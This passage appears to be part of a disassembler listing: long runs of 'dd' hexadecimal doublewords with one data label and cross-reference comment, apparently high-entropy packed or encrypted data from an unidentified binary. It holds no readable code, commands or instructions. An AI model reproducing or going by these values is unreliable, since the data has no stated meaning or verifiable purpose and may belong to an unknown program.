0AE745B25h, 18B4FD6Bh, 0C8BE0F14h dd 0AC802A85h, 8334C738h, 1596A3Ch, 321202DFh, 5B77FA10h dd 635918FCh, 0D192006Eh, 628168E5h, 0D260B496h, 0B863381Fh dd 79802665h, 0E5CE6B3Ah, 3D52F45Eh, 0D12B0EEBh, 322F6862h dd 0E8461877h, 9B749FEBh, 6F710E9h, 0EAC9C0C9h, 63DB482Dh dd 2B0C8B98h, 4039B16Bh, 0A93EE13Ah, 0D0B589E4h, 732948BAh dd 77D09A10h, 19BDDBBEh, 0ED5BA4CCh, 0BEA4D73Eh, 66DB49B3h dd 387116F7h, 0BA5A7AD1h, 0E9F13B63h, 0CC2E77CDh, 554BF9FFh dd 0FC010D24h, 60484530h, 0D115E53Bh, 0DD877A25h, 48934B82h dd 4DDB3BCh, 2CA2EB80h, 0E40CC25Eh, 7B645A07h, 9285EF0h dd 87B050D3h, 0BBFEE304h, 0E81340C7h, 35420266h, 77E9D820h dd 0F068ADA2h, 8BD12F6Bh, 0E2356AE2h, 0BB4187E8h, 1CFFCA7Ah dd 75253625h, 9AAA2813h, 77418090h, 0D05E8525h, 989D2093h dd 77545127h, 0D397349Eh, 0CB1F9589h, 0FE89F70Fh, 0A821D72Bh dd 76082C68h, 712F094Eh, 8817518h, 20F81719h, 0DFA2CDD1h dd 3270080Ah, 1789C512h, 0E9065BFBh, 0EC89542Ch, 0CE1F1629h dd 0F118B46Eh, 0A174050Bh, 0BEC500B5h, 2675F70Bh, 20A6CE29h dd 0C352DD08h, 52B834EFh, 0CF672A06h, 9DC6A32Ah, 0C40080D0h dd 4B56F473h, 0C0B9D3E9h, 626BC573h, 29343AE2h, 801B8DDh dd 5DE8895Bh, 7C48A471h, 0B2F45BFDh, 68531F74h, 57D63CC4h dd 5C76A4BAh, 4E522F9Fh dd 2063308Eh, 7503FD3Dh, 344285E6h, 80AA002Dh, 0E9DAFFBFh dd 2FABD208h, 92D185C1h, 0C8AE5610h, 5F5C5E1Ch, 11D28424h dd 0F063AD1Eh, 33F06AC9h, 0EC6809A2h, 0EEEC3014h, 0BD1897F6h dd 0C7253D31h, 0E5EA000Bh, 28DE55CFh, 0F9A4505h, 7C83509Bh dd 0D9CEBA6h, 1419482h, 0F8B8000Fh, 59CF267Fh, 6124102Dh dd 865FB07Dh, 0D3DFF6FCh, 8F3A0E08h, 8160D2E9h, 6A4ABBE9h dd 0B93FE189h, 5AB6D6A8h, 3C409573h, 0D572F6DAh, 0FA7586C4h dd 8D9521Eh, 811F0AC5h, 0AF05B9C4h, 0A9F73E82h, 0BEF340DFh dd 82E9B32Fh, 7239E3CFh, 0DB20B054h, 90305F48h, 87DE6208h dd 0B1BA5DE7h, 307B465Dh, 0CB7F8252h, 3D702268h, 0F69D4B50h dd 5C3F3608h, 2ED80D01h, 25FAD9F7h, 4F6826DDh, 4DD0C98h dd 68796715h, 4AD7EA5Eh, 7239F6F9h, 5208EF79h, 0A4D82D28h dd 0DFCB2799h, 60DD4329h, 82D04FB4h, 0E3C341F7h, 0C868C46Ah dd 7B1DD24Dh, 0EF8742E0h, 4A8645C9h, 48710D0Ch, 0B142622Ch dd 5D5874DEh, 0B030660h, 29396977h, 80C23E2h, 4A06920Ch dd 13E93FAEh, 84948079h, 10D2717h, 82FFB494h, 6D23E7DAh dd 8CE2E076h, 0BAA2C00Ah, 30DE0F28h, 637EC9Eh, 6822F2F2h dd 4B04D0CAh, 2E30B984h, 331C9052h, 91DD5B38h, 13E80730h dd 0A2F8C30h, 1D06EC3Ch, 621CC4EDh, 0E96EC038h, 2A9CEF89h dd 0EC0FC483h, 520C007Fh, 0E946DA4Ah, 3FE1BCA0h, 62D3E6E9h dd 7D72951h, 28F8A225h, 8D4EA038h, 6309F16h, 0A3D46B1Ch dd 2D2504CAh, 3483482Ah, 0E05AAA76h, 3091EB43h, 0C3B03734h dd 0AC251487h, 7249E07Bh, 245360C1h, 0C21D1EF7h, 8574E916h dd 3F9F21BFh, 95EC2BFDh, 495D5CA2h, 5AF7E331h, 4DBCE030h dd 84F7907h, 77F1BA52h, 0F200D64h, 5B1D09F2h, 0E7007A6Eh dd 0F81FFB4Ch, 0EDB8294Ah, 44171318h, 801DC3FEh, 0F5797ECBh dd 58B740EEh, 83E925D9h, 4DF7C742h, 2159090Eh, 50CCEA40h dd 0ADEA2DC1h, 4BFA617Fh, 8189537h, 2466D81Ch, 0C8D63F1h dd 2DE8CEDBh, 7B6FD438h, 6E054003h, 43BBC49h, 8C09C8DCh dd 0E291BB77h, 1788FE9h, 0C618634Ah, 6B2AFCE9h, 0CE13B2A3h dd 0F714F445h, 4B7C5309h, 6095001Ah, 0C05FB340h, 21A55218h dd 1625E9B7h, 25F97A4Ah, 0D356DACFh, 9F9EF173h, 2D31982Ah dd 0D5011825h, 11553E32h, 16E9E99Bh, 0B598F6Ah, 6631BC68h dd 804C0964h, 0B187E2F3h, 0AEC56286h, 0CDD8B263h, 0A16BE94Ah dd 521E004Fh, 0AA563968h, 0E3AD4320h, 0F1C05AF3h, 664E9C74h dd 2CE60BFBh, 830E556Dh, 0AAEFE982h, 73CFDA6Bh, 9B25FAA2h dd 0EF4240CBh, 7A2A44Ah, 107121CAh, 0F2E0AE4Fh, 163C5C33h dd 4224E92Fh, 0B8A980C9h, 0B07ADB29h, 2EF807ADh, 67C12817h dd 22CE9008h, 4448216Bh, 7EA0129h, 2FE91883h, 687A8035h dd 0EC05C092h, 0C8B15106h, 23D22B9h, 0F004E198h, 2981DF39h dd 89F047Bh, 46590984h, 4BBDF89Ah, 2C34AFE4h, 0F3A095C5h dd 79FD0CBAh, 1ADE5E4Dh, 76CF3C12h, 1C533407h, 9EF0335h dd 0E7FD21DAh, 40B83CBEh, 0A3133E48h, 93E15DE5h, 144C148h dd 7E5E72F2h, 0C7BCD15Ah, 0CDDCE2E7h, 6804BB45h, 8BBF1680h dd 0A5E90CF4h, 70B60A15h, 0F1F14F68h, 40FBD19Bh, 0E9C0EB98h dd 6060465h, 5889C0Fh, 41A9D653h, 1FAAC602h, 645752FBh dd 0BFA927CAh, 723520B8h, 0D0D6062Dh, 65584A3Ch, 40D7B362h dd 8A4CB7C9h, 85480B3h, 27316491h, 9E625EF3h, 922F8D40h dd 0FC3BCE25h, 5382129Bh, 0B3AF546h, 10FA41B2h, 67F780ACh dd 0A217EFE6h, 474EFA28h, 59EA07B4h, 8AE9CA00h, 0C7C5C4DFh dd 0CF805D01h, 7B5621AFh, 47D704F7h, 0D20720E9h, 0C0F7DEBFh dd 271DEA44h, 5801735Eh, 40217A22h, 4E59CB5Bh, 0D89D6A51h dd 0D72D25A9h, 46AC06Fh, 0E9600DA7h, 0D86FAC07h, 17277BABh dd 7818D74h, 79C96483h, 0EDE025EAh, 0DD48F703h, 4D011379h dd 0DE9D7305h, 0F5934CECh, 2A5DF192h, 158EE81h, 3E4C77DEh dd 0E80A0C2Dh, 275846A2h, 0C15A801Ah, 0D9AAC227h, 802597A9h dd 71C30569h, 56DC1F05h, 0CFAC689h, 8FFA58F8h, 0E9072633h dd 0C5C8D312h, 0F714DBECh, 0FA6002D3h, 0E2392D4Ah, 16602958h dd 0C2916323h, 8C3AB5CDh, 68155A34h, 12E76A21h, 0C7AD4DBDh dd 50CE3810h, 0A50BE6BFh, 33FD40h, 0CA7EACC4h, 82DA9E41h dd 40493E28h, 0D625407Fh, 0DDDFA95Fh, 0E279F5FCh, 0C0164FDh dd 86A182E6h, 25DBC97Dh, 662C13CFh, 5E23AE50h, 68D4B158h dd 0F746DDEAh, 24D0F89Fh, 401CA04Bh, 74605928h, 699EB0A0h dd 18071630h, 12AE08A5h, 0E06EE912h, 0A609BE51h, 0F45BFC22h dd 0C44612CCh, 0F9E10B98h, 70098900h, 0DA9D1AD2h, 5E0880C9h dd 0B7D34C29h, 3FC4C303h, 0BFBD5379h, 0C2172CCBh, 9C70EA0Dh dd 0B5010261h, 0FCB277C5h, 0A27F0BE6h, 0D67E2EC3h, 78066029h dd 0F4986D95h, 67284901h, 0F540E961h, 7A16F66Fh, 579CE22Ch dd 5F04A6C4h, 0B55FA088h, 0F6AE89B7h, 6B45338h, 0A55DD27h dd 7A020D5Dh, 522CDEh, 793C2B8Ch, 0D1BDFD01h, 190B6390h dd 305BF504h, 40AF4052h, 4C7FA37Bh, 0C54AE93Ah, 8FEECE84h dd 22E912E5h, 0B0508640h, 58C1804Ah, 0FD7552E5h, 128358D5h dd 0BBB652FFh, 0F47CEEF9h, 0C076A1CEh, 155C0C7h, 20AFCB1Bh dd 68253872h, 6FBEF4DDh, 95E234A9h, 2D17E7DFh, 91687082h dd 0EC2C97Ch, 0B590A2Ah, 0F0DE0256h, 17AAA265h, 5FF0B891h dd 22C1ADA2h, 69448010h, 4C9805C5h, 88AE0D69h, 1D59FACCh dd 9EB85BD7h, 0B0C83EADh, 3941B2CCh, 0D135CA31h, 44139108h dd 3EE00469h, 6A23136Bh, 0B56D5E12h, 0A77D0408h, 81CCEFF2h dd 210801E7h, 0DFF717CAh, 4962B252h, 0E0D95F5Eh, 2E10E52Ch dd 0DBC55D27h, 95451CAFh, 0A888CE7Ch, 0F33A97C9h, 14ED4C46h dd 9971E27h, 0F3B63CE9h, 8B4E2515h, 220CC90h, 0EDF09FC1h dd 2BE1D081h, 680935CAh, 18D133AFh, 11D7D28Ch, 4B5CEEE0h dd 867DB282h, 0BFFF684Dh, 442AA5F0h, 0F305CB6Fh, 49236A1Eh dd 0F84A83B8h, 80423C3Bh, 9E2D74DDh, 7177CE0Eh, 25FD0535h dd 9011E968h, 1202B9F1h, 81526307h, 23006CC9h, 456FE978h dd 5979D87Bh, 6788C44Eh, 0BB904095h, 5516830Bh, 419BC25Ah dd 0F86A0467h, 0F6FC9246h, 845AE94Fh, 0D6504B18h, 96F7BD5Eh dd 0B3B68C2h, 0F301E055h, 3F9A3E35h, 4DD6FD99h, 8FAECA5Bh dd 0CBFF53C9h, 441862D2h, 680211B7h, 5BB1D764h, 0F49165BEh dd 0C69F0AABh, 4E9B0A3Ah, 0B733763h, 5410D02Bh, 0D182512Eh dd 5EF7895Ah, 255B4ADEh, 9EDD56E9h, 0E8575F83h, 4E0E0195h dd 425A6475h, 8854AA70h, 272F49CFh, 824D6213h, 0FEE08B2Ch dd 68596012h, 0BB9C6093h, 13A7C66Ch, 0C8083019h, 9440EA2Fh dd 0C06FEBC0h, 500451F3h, 2CD0281Dh, 0DF885A0Bh, 0E1C07030h dd 8DF12AC7h, 0E9C9DC3Fh, 0A402F059h, 704A98ECh, 1A670265h dd 0A89AE957h, 5EAF3354h, 3FF6015Ah, 391F3953h, 0C4E109Eh dd 26636809h, 26C07F1Ah, 2B2DB81Ch, 4202D56Ah, 92A05AD1h dd 37D83C71h, 14303198h, 58C6397Fh, 6D65CF7h, 119B333Fh dd 21C80C48h, 708035F4h, 26DB283Fh, 14760BBDh, 0AFCC6CA8h dd 90136EF3h, 0BD6B0439h, 86E9C5D1h, 0B806EEFCh, 0D6612731h dd 573F9924h, 0F800ED96h, 5A3367C5h, 4984BF73h, 8F5DEB29h dd 73F1D5D7h, 0D4C5F32Ah, 79032F5Ch, 0E05E3436h, 2B916627h dd 880B5145h, 0A3997552h dd 1581E807h, 0FB20015Bh, 71471003h, 9F09041h, 1B5574F1h dd 1AFCC88h, 3B24210Dh, 0FD183F5Ah, 757A24h, 0BA521CD8h dd 181FB76Fh, 0E912017Fh, 0E664FF0Dh, 0B413B6F9h, 0D68AFEEh dd 905E4E62h, 902E30D8h, 72515Ch, 0DBF2DBCh, 199EBE56h dd 0C0185360h, 2FB376C8h, 0FA225007h, 401B4F1Ch, 8E527C21h dd 0FA412926h, 95F0803h, 0C1835AAAh, 0D486EE82h, 496E7A9h dd 27EC7BB5h, 38B41E7Dh, 17421FD9h, 5ED85D54h, 645E4EF5h dd 1024BD47h, 214EC67Bh, 0A8F1AE05h, 2001AF10h, 5159CC08h dd 0C3E694B5h, 39CDE083h, 0F5E0E7FEh, 0EC301F77h, 0E3EB8F59h dd 3A7CC3CFh, 95EAAAD0h, 9320E094h, 685009A7h, 3A513358h dd 95B6181h, 1534535Eh, 7D70054Bh, 0B055873h, 0B905B06h dd 65E4439Ah, 0A8910F1h, 28754CC0h, 809D5D5Ah, 28204A65h dd 0E390C101h, 732ED70Bh, 8E63802Dh, 18FAAD1Bh, 0F4FC76E9h dd 665E3C0h, 26A068C6h, 0E94912F3h, 35A0B07Ah, 1E6E109h dd 71F02955h, 0D7E90592h, 0B232AFBCh, 72D8D5CAh, 0FEC8F60Ch dd 12FD0ACEh, 0AB5AF488h, 3DC32F48h, 0B5938CCFh, 0EB283F12h dd 0B204F8ACh, 0E0F2E922h, 0CC7730F1h, 0EC04CF2h, 0EB4F05B8h dd 0FFBF041Eh, 0FFE114B0h, 0F1AFE404h, 56F58100h, 0CD269E0Dh dd 9080755h, 1EEA20D5h, 96E828C5h, 68F0C0B6h, 0C2E11E7Dh dd 0F2290AA1h, 89B03A5Eh, 358E3F60h, 448B8F2Fh, 0DE9F4BD0h dd 0C9E9C258h, 0C23C69D5h, 4F9C1D60h, 24EF503h, 60F75D08h dd 5D9D68DCh, 0E2823579h, 0E6C60107h, 0F1C70425h, 0C1574549h dd 0D05DE67Fh, 0D014835h, 12DE6869h, 3471D92Dh, 11E35DCEh dd 185EFDAAh, 7DA1EEE6h, 8D5B27EBh, 0C05AED7Ch, 3E332A13h dd 0F71A34E0h, 84DD0D28h, 9C92ADB4h, 3F474D1h, 0EA73F97Ch dd 505B7825h, 0AA202D69h, 0CB1040F9h, 2D54BA0Eh, 0A7D90977h dd 1675C442h, 0B05CB5FCh, 48BD5508h, 2BFE02A8h, 0CB086DD2h dd 6679CB01h, 0F1FC4962h, 8A781308h, 109F1842h, 72274869h dd 80F9F46Eh, 0E0CC1DAEh, 594BCA29h, 2F1005A1h, 0D1209EAh dd 0CA013571h, 5908026Eh, 0A77165DFh, 0D6135D53h, 0D560EC53h dd 0A43CC2Dh, 0C829698Eh, 88050C84h, 640FC66Fh, 0CB0C3004h dd 5D45B1F7h, 0E9C97C32h, 5C4F2B7Fh, 2EFE0719h, 5FA0CEC7h dd 5A7BBA13h, 0AD174595h, 0C45FD56Ah, 9870ED87h, 0CED78AD1h dd 6A576E42h, 9BC14437h, 97013453h, 390719F6h, 4BD41661h dd 20FD98A2h, 5B4D3F9Bh, 940FC478h, 840BBB13h, 496D741Eh dd 0FA49740Fh, 16FD9529h, 0BF572147h, 20107DADh, 69BFE3E9h dd 0D0709C31h, 0FC015F6Fh, 1684B410h, 4855D8D3h, 72160B50h dd 2D62E036h, 38A57D41h, 0C3795A51h, 8336832Ah, 1E0B6640h dd 0BBE3034Ah, 7404964Eh, 2F3ACB14h, 5F081C62h, 3DFA5A52h dd 83AC2A90h, 820928E2h, 9C3215Ah, 0CC0F9F72h, 0A77DEF25h dd 0DF09B127h, 8BA6D1C7h, 0A7148DC8h, 43A6040Bh, 51877525h dd 32AAD864h, 0C292D277h, 62578542h, 81A7F6DFh, 49130A11h dd 6B833559h, 0C9F86A2h, 0FC737329h, 2ABAD64Ah, 0A1D84AF5h dd 0F68E9F60h, 41C2A4A6h, 0C5694CC4h, 0D6A0DFC1h, 71C0AD02h dd 932D6C32h, 8BA85C6Ah, 0C414AFA3h, 703D8048h, 0C175E175h dd 1A69F6EEh, 683900F5h, 5C2A7023h, 0AF2A0918h, 4A5EDD81h dd 2DF3852h, 6044F5EBh, 0B4001D54h, 0E912C974h, 70E79A3Dh dd 772005BAh, 0AAEAD17Ah, 0C3CAFB0Eh, 0B731DD57h, 0BA69D7A0h dd 48E91296h, 0DC2CF5FFh, 0A6913E85h, 0C2DE501h, 0EDD825A3h dd 58CB1217h, 0B3FF898h, 7A6D3E68h, 208995D1h, 0A78167DDh dd 66E91430h, 4F581240h, 5006F84Bh, 4307FD56h, 0DFF7494Ch dd 2080E7B4h, 0E86910EFh, 9C0CC107h, 2B6C62E8h, 1789B9B0h dd 853EE9DAh, 0CA6AB78h, 4D6BE982h, 43929D46h, 700C95Eh dd 0C15BDF21h, 8DE095EFh, 7B2E29A4h, 0D23C2C05h, 0EB0193E0h dd 627B43AEh, 5C34D26Eh, 0C501AC64h, 0FF29ABD9h, 77FAEE31h dd 0E92D7066h, 5312851Bh, 79C4F3F2h, 0AE0F1317h, 768225ECh dd 8000EFEDh, 578F47Ah, 0E60A81CBh, 0F7ACE987h, 26E05993h dd 5C397460h, 0F520344Ah, 0FEDD3001h, 0DC8850C3h, 9730EBC9h dd 0FC20805Bh, 5F2F4CBDh, 5DFB145Ch, 0EDCB7E17h, 34178620h dd 0D0012EC7h, 2E88FD9h, 0A14443EFh, 68E1D0A6h, 8B2612A9h dd 608BC44h, 20572778h, 0A35E1472h, 0F129797Ch, 0A40888EEh dd 98526212h, 52823FADh, 0EF7F5053h, 43DAA5BDh, 2523B058h dd 0DEB1C2F2h, 0EB90985h, 6B55B699h, 0AD4F54B7h, 0D37684ADh dd 0F2E09EDh, 55418C57h, 1D00DB26h, 0DD89268Bh, 0CAE9095Bh dd 0B9F382B8h, 7C2FFCF5h, 12E7277Ch, 6C12F058h, 0AF57E35Eh dd 8FFA91C4h, 96B46C0h, 90D4F4E9h, 0B71254D3h, 0E8B50EE3h dd 231C09B0h, 2C90247h, 43E282D1h, 9A75A1Eh, 0D1A663Fh dd 0EC2BE0FFh, 2D92C011h, 6966990h, 0A55ECCF4h, 87EFED24h dd 0A61B2D7h, 2142CCDFh, 10BC56B3h, 0E913129Ch, 0A384C7CFh dd 152C542Ah, 4CFDD2Fh, 0CCB9B236h, 87060A09h, 0DFC12A80h dd 345D8E5Dh, 0DBD05A0h, 0A2BE1763h, 7D2A758Bh, 47A45172h dd 4816302Ah, 0AB1CE910h, 0EB565A12h, 0E916818Ah, 614E989h dd 430170F7h, 0C5EF096Ah, 0E6823210h, 0CB2E22ABh, 9545F819h dd 4DF611E6h, 1DDC95Ah, 71E19575h, 1880EE05h, 0CC3F0968h dd 0B19DD97Bh, 27A51B4Eh, 0E120C2C1h, 1CEF998Bh, 0EB1B166Fh dd 2D864154h, 56FBFCC3h, 58F65F50h, 794E5100h, 4939E281h dd 0FC5E5011h, 0F65A9F06h, 0D0FDE927h, 0DE479D88h, 0B63082BDh dd 0FF31C06Eh, 0C825ABC6h, 0D07CD663h, 0AD4FE956h, 8817FABCh dd 0C00060FCh, 801208ECh, 0BBC413F4h, 5AE0F3ABh, 228604A6h dd 0C30B9792h, 0F20CA0Ah, 0E4BE8E49h, 50FB6A41h, 0E74808F9h dd 5CD7094Eh, 1CF33300h, 70FD4EF7h, 79164D31h, 368070D2h dd 0C101C183h, 681BEB3Eh, 8F5A8525h, 0D8C48CBFh, 470DE3AEh dd 0FD984B52h, 71E918F2h, 7FEBAFF4h, 2E813C4Ah, 0E56AC7C4h dd 3928DC1Ah, 0A0DBC5B5h, 0E0504CE6h, 0A4567105h, 0CF7E8812h dd 546F3804h, 55804F11h, 1C062D8h, 0F3A5B8FAh, 0D1E9BF6Ah dd 0CF606CB6h, 4B38FCF8h, 0E9B1E9EDh, 0B0C12B4Fh, 0A72BF701h dd 81314F47h, 0B2363A8Ah, 0A686BC5Fh, 644DE6h, 373EFC11h dd 0B9005C69h, 0ED4B2374h, 1407B57Dh, 0F97FE040h, 4A9F48D6h dd 0DF6DEFBh, 0F16A445Bh, 8F04136Bh, 0C9BBBDE4h, 6F33F890h dd 0C9251BBFh dword_4F0044 dd 0C1027C9Ah, 715405Fh, 0BAEC9F82h, 700BC038h, 0EB61D495h ; DATA XREF: ___:00437A2Co dd 0F3591D07h, 0FBFD2161h, 4A08A110h, 0F63B9489h, 0EE8D186h dd 0AB68C80Fh, 69CAE63Dh, 44FDBD86h, 0B09381F7h, 0C909DF80h dd 0DD48840Fh, 0A86373BDh, 1DE0267h, 0F98740A2h, 9F9850DDh dd 7F08DC53h, 67046F33h, 591FCD6Eh, 84C72D68h, 0B30CFC90h dd 0D8779192h, 35B96EF1h, 2D970596h, 9D9BAEDh, 0FF6A803h dd 0D977BA21h, 0D731DD01h, 353E205Ah, 64084404h, 4084FD29h dd 98410810h, 706E923Ah, 95425099h, 0D3469575h, 7E1B9020h dd 0A0C12059h, 71415CC1h, 0B3EC1CCCh, 5EDB999h, 0FEE83002h dd 0E17E79CEh, 0FA01347Fh, 0B71702F3h, 0BF1E0095h, 8EE9C334h dd 0AC2B80BDh, 0B42AE268h, 52206E2Fh, 0C2FE60B2h, 14E665Ch dd 0ECD0DDB4h, 303E2F68h, 0C911E976h, 71A4F4B7h, 0FC70FDEEh dd 0A4B687Ch, 5F1B23FEh, 8E93117h, 8841D4A3h, 9F2BBE65h dd 0B85001F3h, 7EC20FAh, 1748127Ah, 0AED59578h, 0F31EA5C1h dd 2D11A36Bh, 54676158h, 0D416D5D6h, 0D66775B6h, 0AB46FF09h dd 0C64B4EF6h, 0D92B5620h, 9D017373h, 0EF680265h, 0F430F116h dd 0A630A968h, 25808489h, 5866DE54h, 59773F0Bh, 767A5036h dd 5CFA98CDh, 0FE2F6339h, 0DA5B56DEh, 0EE15E4F5h, 0A4094E3Bh dd 82241152h, 540F2F39h, 86E5A906h, 97E65D05h, 0E9784B76h dd 0CC7E4E14h, 0D24EBEF1h, 27D428E8h, 0CBFC5D2Eh, 1FA08166h dd 6DF2807Eh, 0ACFFE7Ch, 8DE405DEh, 30919D80h, 4FC698E6h dd 7592491Fh, 0D9688B21h, 13006610h, 7390CECCh, 493515CFh dd 0E987FF0Eh, 0C7A1DA98h, 128D1109h, 3660C64Dh, 0AD3A67E9h dd 0E8A41678h, 0BB5B2AE7h, 58C4B837h, 6B122DBFh, 724BF1A7h dd 0C2A2AC00h, 0A7C0525Dh, 0B5F1780h, 0F0016FF8h, 46575A22h dd 0DCE6E14Eh, 38484A56h, 0F79F0098h, 72E9B8A6h, 2EB69F46h dd 4C9DA1h, 957E6D68h, 104BF6F9h, 96CD6BDCh, 77AF447Bh dd 29EB6025h, 84AC6F75h, 616268E0h, 7ACBE5CBh, 3CBB3E39h dd 0FD41E49Eh, 3A14DB2Dh, 0D7545EF8h, 0CCBF3189h, 6DC4B5C1h dd 83FE0128h, 0D52DB61Dh, 0E209D7E8h, 0F821070Bh, 0EB5931FEh dd 7F04FF75h, 0C7FC74D9h, 0E049D39Bh, 0AD40CFE2h, 339C0BB8h dd 9BD57BB3h, 0D101AC4Ch, 0F64B5067h, 0A20002Ah, 0C2E092B7h dd 68220F5Fh, 0AA5F127Ch, 5E72BD9h, 0DF179D3Eh, 1DC1BF43h dd 7235F6E9h, 0B2D0656Ch, 2D21EC4Ah, 0FED46EE6h, 5B6872D8h dd 81213010h, 24A4A57h, 84BA9F13h, 26BE86D8h, 0F295F497h dd 0B277E5A9h, 1331C1E9h, 0E5CAC007h, 83E57818h, 5D37700Ch dd 0B3241634h, 6129FEF9h, 0F73A1B21h, 0FDAD5B06h, 1DA86C4h dd 0EAC003B2h, 0FEC8D5FAh, 519A8C5Bh, 0DCD801Ch, 0DF26E5CFh dd 0EF424252h, 463D6168h, 3B09B14Ch, 0E16DA85Bh, 0CB9926D7h dd 0CB60A0EAh, 774EEFB0h, 1897A74Ch, 68C991C1h, 0D30BD56h dd 0C60D60F4h, 0D14C3147h, 27A73624h, 1E190109h, 0F168CDF9h dd 3EA73F55h, 1CF65C10h, 79A75258h, 0B3086990h, 394C525Fh dd 8792E925h, 97CA5EABh, 7057B900h, 0BBB4942h, 583E1545h dd 280BFCD9h, 4A45832h, 0B39736EBh, 7FA3BB40h, 0F0525A1Fh dd 1C169C8Eh, 35587E14h, 0A1927F06h, 0DA4820A5h, 8520CE17h dd 186E3C73h, 8EF28132h, 291D45EDh, 0F01BE9D0h, 5CCA2027h dd 4DE18102h, 60701E20h, 4A4AE86h, 49E9167Fh, 2871A2B1h dd 7541CD59h, 994BB2F8h, 49509EE3h, 3B55A9FBh, 0C562D9B1h dd 0A9D07B6Dh, 990EF600h, 6722D47h, 0F81F5E25h, 34E5A027h dd 2C21753Dh, 3BF781h, 0F809132Dh, 223C355Fh, 2E493018h dd 7C910503h, 0C1FE5ADBh, 1F231A2h, 8F20535Ah, 3D29BABCh dd 493CD109h, 226C7F99h, 25E0E45Bh, 4A0A860Fh, 0EBD6A574h dd 0D635CBBBh, 0A9C0720h, 424B9E01h, 96573B78h, 930E20B9h dd 0C8495D7Dh, 0F0E740Eh, 0D4017F20h, 0DB612CC8h, 69176885h dd 9DF35488h, 2CB1085Bh, 78A80855h, 3D3773CDh, 709673C5h dd 772FED34h, 0D103A125h, 6F9D8B65h, 975C70DEh, 0E2A2C0DCh dd 52F764FBh, 0D196812h, 0D1C0A7BCh, 5742E140h, 0D56134B0h dd 19F1E90Fh, 0D2CF299Dh, 59D54FF7h, 3CE0E1ABh, 801C08B5h dd 0F5399AEAh, 6630C275h, 0E9F61459h, 0F5985E43h, 4E9800F8h dd 2AF50CFBh, 0A4B1B212h, 1E3B548h, 0B1F7F86h, 7EE6FDE9h dd 411A96B6h, 0FAD713DBh, 20B798ABh, 0C700AD50h, 5C8D2047h dd 77295862h, 645D5E6Fh, 0C44FB2E5h, 0F6FAEAF1h, 4FDB91C8h dd 50DA74FEh, 5F2713C8h, 0E97118E4h, 0D9E9D641h, 9BBFB58h dd 7346039Fh, 5760005Dh, 4829319Ch, 161FA7D9h, 40194F01h dd 94C435C6h, 0FBE40BA3h, 0BD26B293h, 62E5CDAFh, 7F9658DCh dd 821FDE69h, 0EA45C27Ah, 0D3407F42h, 7682B668h, 0A9B70996h dd 690B9877h, 27872725h, 0CE843D4h, 47E95806h, 84434C43h dd 7F412A01h, 71D8014Eh, 784335F2h, 0C2D0C4CEh, 6AEDB900h dd 899503A6h, 8A728059h, 0B792E442h, 882A7850h, 0CB77979Ch dd 4E30B85Dh, 2E2C2DEEh, 9BA1C0F8h, 0F3B6248h, 0B2EA40D8h dd 95452ACCh, 8C9093D8h, 9A1C0A05h, 82C04E72h, 96467EDh dd 0BB6CE962h, 0A4BD3C53h, 0FAA39AA3h, 8630412Ch, 1ECA79E6h dd 4068501Dh, 0E93D8B25h, 4EA2C34Bh, 205441h, 0BB1F9668h dd 5160435h, 0DA548218h, 9F7A742h, 8E71F9FDh, 0FF133948h dd 0E82A4BD9h, 0FED5F192h, 0FBD9886Eh, 0EB04B992h, 3F7F7DFCh dd 6DF8ED80h, 6D2E5C48h, 9A80072Fh, 4FF3814Bh, 0DA4C763Fh dd 1673FCBDh, 0CC7FFA68h, 0B75E308Fh, 0DD621FAh, 0DED2938h dd 3AF63B07h, 0B50877A0h, 8FD61C09h, 9510E958h, 0E5DDAD89h dd 0BFF2A58Fh, 411A6812h, 5B934FCCh, 4F18B2A2h, 0C54C2461h dd 4A30E76Ah, 0F76EB9F1h, 6A1BC156h, 167A388Fh, 0E5184014h dd 2CE97095h, 0BD5AB040h, 48526379h, 321EB8A9h, 4CAE22E5h dd 0D0A583F1h, 38D1B01Fh, 885AC09Ah, 0C9403EE2h, 0C65258ACh dd 0E5F810h, 5519CFB8h, 862D31h, 510EA1Bh, 6923250Dh, 75133506h dd 725AAC2Ah, 0BA5EB7C7h, 39E18352h, 0B6FF84F4h, 25E785C2h dd 95688CD3h, 81C334BBh, 7EE16230h, 39820A34h, 0C81CF5EAh dd 834017FCh, 311B0ABBh, 0ED562BAh, 71E26498h, 207FDBF7h dd 1612F35Dh, 237766Bh, 1074F5EFh, 35FE297Eh, 0D0970820h dd 7EF0BEAh, 0C5213FE9h, 30B621B5h, 509CEEB6h, 0A9B15160h dd 0D4C965FEh, 1706A398h, 1145BFECh, 8C065EF7h, 0BD12D3A3h dd 20A4A0D6h, 97EC5927h, 0C10EB0DCh, 2180E762h, 3F420917h dd 0EDD142C3h, 7EF62466h, 51EC125Bh, 0C2E9CB4h, 7AD11D40h dd 1C22DE2h, 1FFA5FF0h, 0E0E3BF5Eh, 0E0F81296h, 2209BF06h dd 7D3AF645h, 0CA08022Eh, 681C0401h, 0C74D18C4h, 5EC23760h dd 87364507h, 771381D6h, 218C3B72h, 0C5A462A1h, 34ED4A3Ah dd 79BA6884h, 0FEC4B1B8h, 75509A5h, 449BCB5Dh, 11FC9558h dd 0F43388B1h, 97B3BA04h, 3F598FD9h, 5D8B8E28h, 8101C1C1h dd 8A360CEDh, 9B816B0Fh, 242A9BA5h, 0EC15B1CFh, 0D99FDAC0h dd 0B083927Dh, 0A02DB6B2h, 5D170E80h, 5AD7DE7Eh, 0C20DDDA7h dd 202FEFC9h, 42DAF71Bh, 0D2A0E2FEh, 48B168A3h, 61461C0Eh dd 59C8312Eh, 0D9409AF3h, 961295DCh, 311A896h, 5728D526h dd 7014D268h, 55A920A5h, 5AF3D8E7h, 107A379Eh, 0E18646ABh dd 5451DDC2h, 0D0487569h, 5082B26Ah, 99D5E1Fh, 30B5F95h dd 6654EAC0h dd 15C9469Dh, 0BA7C0968h, 25C4E41Ch, 0BAF930FFh, 3E26123Fh dd 5D60142Ch, 0CCCE551h, 7AB3041h, 9DF55A0Ch, 0CCA1A44Fh dd 0E645A06Fh, 540F4517h, 14230301h, 0E47A1B3Fh, 0FA5D8A23h dd 0F9AAC4FAh, 0B0797B9h, 0B212DF0Ah, 6C7FBE2Ah, 0F8892CF1h dd 85EF0105h, 6A4EC636h, 8005EB5h, 0F7061EE9h, 0C2D3B879h dd 0DA5497B6h, 3D36BF3Bh, 28218E78h, 783DDDF8h, 5B66F0F5h dd 0C8AB20F9h, 0DDF3D3F9h, 0ECD059D3h, 209D16E9h, 0CCAED0Ch dd 0FD7D50B2h, 4A5F80EFh, 0BF575101h, 2D4F3313h, 0B2836535h dd 3FDE3242h, 398AE1Fh, 4FF86D3h, 